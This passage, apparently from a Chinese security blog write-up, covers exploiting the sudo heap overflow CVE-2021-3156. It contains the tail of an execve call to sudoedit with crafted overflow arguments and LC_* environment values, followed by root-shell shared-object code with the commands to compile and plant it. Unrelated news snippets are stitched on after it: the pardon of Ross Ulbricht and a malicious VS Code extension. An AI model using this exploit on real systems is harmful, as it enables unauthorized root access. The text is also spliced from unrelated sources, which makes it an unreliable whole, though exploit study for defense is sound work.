","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
   execve("/usr/local/bin/sudoedit",argv,env);
}

覆盖结果如上

拼接完成后会执行

     /* Construct shared object name.  */
     __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                         "libnss_"),
                   ni->name),
             ".so"),
       __nss_shlib_revision);

     ni->library->lib_handle = __libc_dlopen (shlib_name);
     if (ni->library->lib_handle == NULL)
   {
     /* Failed to load the library.  */
     ni->library->lib_handle = (void *) -1l;
     __set_errno (saved_errno);
   }

通过__libc_dlopen打开文件

4 提权收工

最后编译后门test.so.2，并放入libnss_XXX文件夹

这里借用CVE-2021-3156：sudo堆溢出提权漏洞分析-腾讯云开发者社区-腾讯云 (tencent.com)中的代码

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define EXECVE_SHELL_PATH "/bin/sh"

static void __attribute__ ((constructor)) pop_shell(void);
char *n[] = {NULL};

void pop_shell(void) {
   printf("[+] executed!\n");
   setresuid(0, 0, 0);
   setresgid(0, 0, 0);
   if(getuid() == 0) {
       puts("[+] we are root!");
   } else {
       puts("[-] something went wrong!");
       exit(0);
   }

   execve(EXECVE_SHELL_PATH, n, n);
} gcc -fPIC -shared test.c -o libnss_XXX/test.so.2
chmod 777 libnss_XXX/test.so.2

提权效果

总结

这个老洞新探，还是挺有意思的， 从源码分析到动态调试，整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中，思路是比较清晰的，但在堆排布那里，由于中间会有很多其他的堆块操作是我们不可控，就会存在较大困难，要么通过逆向分析梳理所有的堆块操作然后手动构造，要么就是通过fuzz。前者费时费力，而且存在很多问题，后者需要对fuzz进行一定的学习。在盲目手动构造的过程中，好不容易在service_user之前留下了坑，但还是遇到了几种情况，一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样，二是在根本走不到nss_load_library就崩溃了，三是修改了最近的一个service_user结构体，但并没有用。

总的来说，这个洞还有很多可以学习的地方，后面学学fuzz后再来试试这个洞。

  


蚁景网安实验室

特朗普赦免 Ross Ulbricht

Solidot
10 months 3 weeks ago
特朗普兑现了他在竞选期间寻求加密货币行业政治捐款时的承诺，赦免了暗网市场丝绸之路的创始人 Ross Ulbricht。加密货币行业向特朗普阵营捐赠了超过 1 亿美元。Ross Ulbricht 因尝试雇佣杀手杀死勒索他的人以及通过互联网分销毒品而被法庭判处终身监禁，不得保释。Ulbricht 于 2011 年创办了丝绸之路市场，2013 年 10 月在旧金山的一座图书馆内被捕，当时丝绸之路是最大的暗网毒品市场，2015 年他被判终身监禁。他被认为是加密货币行业早期最成功的企业家，至今仍然拥有巨大的影响力。

Weaponized VS Code Impersonate Zoom App Steals Cookies From Chrome

GBHackers on Security | #1 Globally Trusted Cyber Security News Platform
10 months 3 weeks ago

A newly identified extension for Visual Studio Code (VS Code) has been found to impersonate a legitimate Zoom application, enabling cybercriminals to steal sensitive cookies from Google Chrome. This incident marks a significant escalation in the tactics employed by malicious actors to exploit trusted software ecosystems. The Discovery The nefarious extension, uploaded to the VS […]

The post Weaponized VS Code Impersonate Zoom App Steals Cookies From Chrome appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Divya

Managed ad